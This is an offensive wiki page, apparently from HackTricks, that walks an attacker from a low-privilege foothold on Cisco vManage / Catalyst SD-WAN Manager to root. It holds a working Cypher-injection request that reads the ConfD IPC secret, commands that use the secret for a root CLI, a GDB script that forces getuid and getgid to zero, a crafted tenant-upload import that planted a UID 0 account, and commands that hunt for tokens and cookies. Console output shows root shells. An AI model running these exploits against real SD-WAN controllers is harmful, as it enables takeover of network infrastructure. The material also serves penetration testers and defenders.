cisco-vmanage.md (17556B)
1 --- 2 title: "Cisco - vmanage" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/network-information/cisco-vmanage.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/network-information/cisco-vmanage.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Cisco - vmanage 14 15 Once you have code execution on Cisco vManage / *Catalyst SD-WAN Manager* as `vmanage`, `netadmin`, or `vmanage-admin`, the most interesting local privesc surfaces are usually the `confd` CLI stack, the `cmdptywrapper` helper, localhost REST APIs, and root-owned import/upload handlers. 16 17 If you still need the **initial foothold** on a controller, check the dedicated control-plane page first: 18 19 [12346 Udp Pentesting Cisco Sd Wan Control Plane](/hacktricks/network-services-pentesting/12346-udp-pentesting-cisco-sd-wan-control-plane) 20 21 ## Quick local triage 22 23 ```bash 24 ps auxww | egrep 'confd|cmdptywrapper|neo4j|vdaemon' 25 ss -lntp | egrep '4565|830|8443' 26 find /run /var/run -maxdepth 2 -type s 2>/dev/null | egrep 'confd|cli|rest|mgmt' 27 ls -l /etc/confd/confd_ipc_secret /usr/bin/confd_cli /usr/bin/confd_cli_user 28 ls -la /home/vmanage-admin/.ssh 2>/dev/null 29 grep -R "tenant-upload\|tenant-list" /opt /usr 2>/dev/null | head 30 ``` 31 32 If `/etc/confd/confd_ipc_secret` is readable from your foothold, Path 1 and Path 2 become immediately practical. If you arrive via a remote file disclosure or webshell, also inspect `vmanage-admin` SSH material and multitenancy upload handlers; recent research demonstrated both as viable pivots.<sup>[[3]](#references)[[4]](#references)</sup> 33 34 ## Path 1 35 36 Synacktiv's vManage assessment documents this root-shell path.<sup>[[5]](#references)</sup> 37 38 The [ConfD documentation](http://66.218.245.39/doc/html/rn03re18.html) linked by the report describes IPC authentication; its vManage example places the secret at `/etc/confd/confd_ipc_secret` and shows it readable by `vmanage`.<sup>[[5]](#references)</sup> 39 40 ```text 41 vmanage:~$ ls -al /etc/confd/confd_ipc_secret 42 43 -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret 44 ``` 45 46 Because Neo4j runs with `vmanage` privileges in the reported setup, the earlier Cypher injection can read the secret file.<sup>[[5]](#references)</sup> 47 48 ```text 49 GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 50 51 Host: vmanage-XXXXXX.viptela.net 52 53 54 [...] 55 56 "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} 57 ``` 58 59 `confd_cli` itself does not accept command-line arguments; it invokes `/usr/bin/confd_cli_user`. The reported workflow extracts that root-readable helper from the rootfs, copies it via `scp`, reads its help, sets `CONFD_IPC_ACCESS_FILE`, and calls it with `-U 0 -G 0` to obtain a root shell.<sup>[[5]](#references)</sup> 60 61 ```text 62 vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret 63 64 vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret 65 66 vManage:~$ /tmp/confd_cli_user -U 0 -G 0 67 68 Welcome to Viptela CLI 69 70 admin connected from 127.0.0.1 using console on vManage 71 72 vManage# vshell 73 74 vManage:~# id 75 76 uid=0(root) gid=0(root) groups=0(root) 77 ``` 78 79 ## Path 2 80 81 This alternative route is adapted from Walmart Global Tech's vManage 19.2.2 research.<sup>[[6]](#references)</sup> 82 83 The Synacktiv path needs a copy of `/usr/bin/confd_cli_user`, which is root-readable in the reported setup; the Walmart report instead alters `confd_cli`'s identity values under GDB.<sup>[[5]](#references)[[6]](#references)</sup> 84 85 The report's disassembly shows `confd_cli` collecting the caller's UID and GID.<sup>[[6]](#references)</sup> 86 87 <details> 88 <summary>Objdump showing UID/GID collection</summary> 89 90 ```text 91 vmanage:~$ objdump -d /usr/bin/confd_cli 92 … snipped … 93 40165c: 48 89 c3 mov %rax,%rbx 94 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 95 401664: e8 17 f8 ff ff callq 400e80 <getenv@plt> 96 401669: 49 89 c4 mov %rax,%r12 97 40166c: 48 85 db test %rbx,%rbx 98 40166f: b8 dc 30 40 00 mov $0x4030dc,%eax 99 401674: 48 0f 44 d8 cmove %rax,%rbx 100 401678: 4d 85 e4 test %r12,%r12 101 40167b: b8 e6 30 40 00 mov $0x4030e6,%eax 102 401680: 4c 0f 44 e0 cmove %rax,%r12 103 401684: e8 b7 f8 ff ff callq 400f40 <getuid@plt> <-- HERE 104 401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp) 105 40168f: e8 6c f9 ff ff callq 401000 <getgid@plt> <-- HERE 106 401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp) 107 40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi 108 4016a0: e8 7b f9 ff ff callq 401020 <ttyname@plt> 109 4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp) 110 4016ac: 48 85 c0 test %rax,%rax 111 4016af: 0f 84 ad 03 00 00 je 401a62 <socket@plt+0x952> 112 4016b5: ba ff 03 00 00 mov $0x3ff,%edx 113 4016ba: 48 89 c6 mov %rax,%rsi 114 4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi 115 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> 116 … snipped … 117 ``` 118 119 </details> 120 121 The same test showed a root-owned `cmdptywrapper` receiving explicit `-g` and `-u` values.<sup>[[6]](#references)</sup> 122 123 ```text 124 vmanage:~$ ps aux 125 … snipped … 126 root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash 127 … snipped … 128 ``` 129 130 The researcher inferred that `confd_cli` forwards the logged-in user's UID and GID to `cmdptywrapper`.<sup>[[6]](#references)</sup> 131 132 Running `cmdptywrapper` directly with `-g 0 -u 0` failed because the required file descriptor (`-i 1015` in the example) was not available.<sup>[[6]](#references)</sup> 133 134 Because `confd_cli` does not expose those values as arguments, the report uses GDB to override the `getuid()` and `getgid()` return values; GDB was present on that appliance.<sup>[[5]](#references)[[6]](#references)</sup> 135 136 With `vmanage` access, the test could read `/etc/confd/confd_ipc_secret`; the following script forces both identity calls to return zero.<sup>[[6]](#references)</sup> 137 138 The GDB script used in the report is:<sup>[[6]](#references)</sup> 139 140 ```text 141 set environment USER=root 142 define root 143 finish 144 set $rax=0 145 continue 146 end 147 break getuid 148 commands 149 root 150 end 151 break getgid 152 commands 153 root 154 end 155 run 156 ``` 157 158 The reported console output is:<sup>[[6]](#references)</sup> 159 160 <details> 161 <summary>Console output</summary> 162 163 ```text 164 vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli 165 GNU gdb (GDB) 8.0.1 166 Copyright (C) 2017 Free Software Foundation, Inc. 167 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> 168 This is free software: you are free to change and redistribute it. 169 There is NO WARRANTY, to the extent permitted by law. Type "show copying" 170 and "show warranty" for details. 171 This GDB was configured as "x86_64-poky-linux". 172 Type "show configuration" for configuration details. 173 For bug reporting instructions, please see: 174 <http://www.gnu.org/software/gdb/bugs/>. 175 Find the GDB manual and other documentation resources online at: 176 <http://www.gnu.org/software/gdb/documentation/>. 177 For help, type "help". 178 Type "apropos word" to search for commands related to "word"... 179 Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done. 180 Breakpoint 1 at 0x400f40 181 Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59 182 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 183 0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59 184 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 185 0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59 186 59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS) 187 0x0000000000401871 in ?? () 188 Welcome to Viptela CLI 189 root connected from 127.0.0.1 using console on vmanage 190 vmanage# vshell 191 bash-4.4# whoami ; id 192 root 193 uid=0(root) gid=0(root) groups=0(root) 194 bash-4.4# 195 ``` 196 197 </details> 198 199 ## Path 3 (2025 CLI input validation bug - CVE-2025-20122) 200 201 Cisco later documented a cleaner local root path in its own advisory for [CVE-2025-20122](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-priviesc-WCk7bmmt). An **authenticated attacker with only read-only privileges** could send a crafted request to the manager CLI and gain root because of insufficient input validation.<sup>[[7]](#references)</sup> 202 203 From an offensive perspective, this advisory and the earlier CLI research suggest the following workflow.<sup>[[6]](#references)[[7]](#references)</sup> 204 205 1. Once you have *any* low-priv foothold on the box, you should test the local CLI service before going for the heavier Path 1 / Path 2 workflow. 206 2. Reuse the artifacts from Path 2 to find the trust boundary: `confd_cli` → `cmdptywrapper` → `vshell`. 207 3. Treat every field forwarded to the CLI backend as suspicious: UID/GID, username, terminal metadata, imported files, or any value later consumed by a root-owned helper. 208 4. If a low-priv user can reach the local CLI socket and influence those fields, root may be only one crafted request away. 209 210 After landing on the appliance, inspect the local CLI chain as follows.<sup>[[6]](#references)[[7]](#references)</sup> 211 212 ```bash 213 strings /usr/bin/confd_cli | egrep 'cmdptywrapper|vshell|confd' 214 strace -f -s 200 -o /tmp/confd.trace /usr/bin/confd_cli 215 ss -lntp | grep 4565 216 ``` 217 218 This turns the 2025 bug into a reusable hunting pattern: look for **local CLI shims that collect identity in userland and forward it to a privileged wrapper**.<sup>[[6]](#references)[[7]](#references)</sup> 219 220 Do not confuse **CVE-2025-20122** with the later **CVE-2026-20122**: the 2025 issue is a *local* CLI-to-root bug, while the 2026 issue is a *remote* API arbitrary file overwrite that is mostly useful for planting a foothold and then revisiting Path 1 / Path 2 / Path 4.<sup>[[3]](#references)[[7]](#references)</sup> 221 222 ## Path 4 (2026 low-priv REST API to root - CVE-2026-20126) 223 224 Cisco's February 2026 advisory describes another useful privesc class, [CVE-2026-20126](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-authbp-qwCX8D4v). An **authenticated, local attacker with low privileges** could gain root because of an insufficient user-authentication mechanism in the REST API.<sup>[[1]](#references)</sup> 225 226 This matters because vManage privesc is not limited to `confd`/TTY abuse anymore; after a low-priv shell, also hunt for the following.<sup>[[1]](#references)</sup> 227 228 - localhost-only API endpoints that trust the caller too much 229 - tokens, cookies, or service credentials readable from the current account 230 - root-only actions exposed through `dataservice`/REST handlers that can still be triggered locally 231 232 In practice, once you have a shell as `vmanage` or another service user, local API abuse can be easier to automate than interactive CLI abuse.<sup>[[1]](#references)</sup> 233 234 ```bash 235 env | grep -iE 'token|cookie|session' 236 grep -R "dataservice" /etc /opt 2>/dev/null | head 237 ss -lntp | grep -E '(:443|:8443)' 238 ``` 239 240 If the local session context is enough to hit privileged REST functionality, prefer the API path: it is easier to replay, script, and chain with stolen web sessions or API tokens.<sup>[[1]](#references)</sup> 241 242 ## Path 5 (2026 crafted file processed by root - CVE-2026-20245) 243 244 Another recent pattern is [CVE-2026-20245](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx). A local attacker with `netadmin` privileges could upload a **crafted file** that the CLI later handled unsafely, leading to command injection as `root`.<sup>[[2]](#references)</sup> 245 246 From a HackTricks point of view, the valuable technique is broader than the specific CVE.<sup>[[2]](#references)</sup> 247 248 1. Enumerate every CLI or web workflow that accepts a file: imports, diagnostic bundles, templates, validators, backups, tenant data, etc. 249 2. Trace where the uploaded file lands and which root-owned script or binary consumes it. 250 3. Test whether the filename, file content, or parsed metadata is ever passed to shell commands, wrapper scripts, or `system()`-style helpers. 251 4. If you can already reach `netadmin` (valid creds, stolen session, or an auth-bypass chain), file-processing bugs are often the fastest path to root. 252 253 Google Cloud / Mandiant later showed a concrete instance of this bug class being exploited through the multitenancy import path.<sup>[[4]](#references)</sup> 254 255 ```bash 256 request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0 257 ``` 258 259 In the observed attack, the crafted CSV modified `/etc/passwd` and `/etc/shadow` to create a temporary UID 0 account (`troot`). That makes `tenant-upload` / `tenant-list` style importers especially interesting: they are not just data-ingestion features, but potential root-owned parser front-ends.<sup>[[4]](#references)</sup> 260 261 A quick shell-side hunting pattern is: 262 263 ```bash 264 strings /usr/bin/* 2>/dev/null | grep -E 'tenant-upload|tenant-list|import|upload|backup' | head 265 grep -R "tenant-upload\|tenant-list" /opt /usr 2>/dev/null | head 266 ``` 267 268 This bug class chains especially well with remote footholds that grant `netadmin` but not `root`.<sup>[[2]](#references)[[4]](#references)</sup> 269 270 ## Other recent vManage/Catalyst SD-WAN Manager vulns to chain 271 272 - **Unauthenticated info leak (CVE-2026-20133)** – Especially high-value because public research showed it could expose `confd_ipc_secret` or the `vmanage-admin` private key, turning a read bug into either Path 1 or a NETCONF pivot.<sup>[[3]](#references)</sup> 273 - **Authenticated API arbitrary file overwrite (CVE-2026-20122)** – Different from the 2025 CLI bug above; VulnCheck used it to upload a webshell, which then makes the local privesc paths on this page immediately relevant.<sup>[[3]](#references)</sup> 274 - **Authenticated UI XSS (CVE-2024-20475)** – An authenticated attacker can execute script in an affected user's web interface; assess whether the resulting session context exposes API/CLI actions that reach `vshell` or one of the local privesc paths above.<sup>[[9]](#references)</sup> 275 - **Remote auth bypass to `netadmin` (CVE-2026-20129)** – Very strong precursor for Path 5 because `netadmin` is exactly the level required by the 2026 crafted-file privesc.<sup>[[2]](#references)[[3]](#references)</sup> 276 - **Authenticated arbitrary file write (CVE-2026-20262)** – Similar offensive value to CVE-2026-20122, but through a later web UI upload path; Cisco says a file created or overwritten by the bug could later be used to elevate to root.<sup>[[10]](#references)</sup> 277 - **Downgrade to resurrect old CLI privesc (CVE-2022-20775)** – 2026 intrusions showed attackers can roll back to an older vulnerable SD-WAN build, abuse the old CLI root bug, and then restore the original version.<sup>[[8]](#references)</sup> 278 - **Pre-auth control-plane auth bypass (CVE-2026-20182)** – Better documented in the dedicated SD-WAN control-plane page; it can append an SSH key for `vmanage-admin`, providing persistent NETCONF access for follow-on management-plane actions.<sup>[[11]](#references)</sup> 279 280 281 ## References 282 283 - [1] [Cisco Catalyst SD-WAN Vulnerabilities (CVE-2026-20126, CVE-2026-20129, etc.)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-authbp-qwCX8D4v) 284 - [2] [Cisco Catalyst SD-WAN Controller, Catalyst SD-WAN Manager, and Catalyst SD-WAN Validator Authenticated Privilege Escalation Vulnerability (CVE-2026-20245)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx) 285 - [3] [VulnCheck: Herding Cats - Recent Cisco SD-WAN Manager Vulnerabilities](https://www.vulncheck.com/blog/cisco-sd-wan-manager-vulns) 286 - [4] [Google Cloud / Mandiant: Zero-Day Exploitation of Vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager](https://cloud.google.com/blog/topics/threat-intelligence/zero-day-exploitation-cisco-catalyst-sd-wan-manager) 287 - [5] [Pentesting Cisco SD-WAN Part 1: Attacking vManage](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html) 288 - [6] [Hacking Cisco SD-WAN vManage 19.2.2 — From CSRF to Remote Code Execution](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77) 289 - [7] [Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability (CVE-2025-20122)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-priviesc-WCk7bmmt) 290 - [8] [Active exploitation of Cisco Catalyst SD-WAN by UAT-8616 (Cisco Talos)](https://blog.talosintelligence.com/uat-8616-sd-wan/) 291 - [9] [Cisco Catalyst SD-WAN Manager Cross-Site Scripting Vulnerability (CVE-2024-20475)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-xss-zQ4KPvYd) 292 - [10] [Cisco Catalyst SD-WAN Manager Arbitrary File Write Vulnerability (CVE-2026-20262)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-arbfw-c2rZvQ) 293 - [11] [Rapid7: CVE-2026-20182 - Critical authentication bypass in Cisco Catalyst SD-WAN Controller](https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/)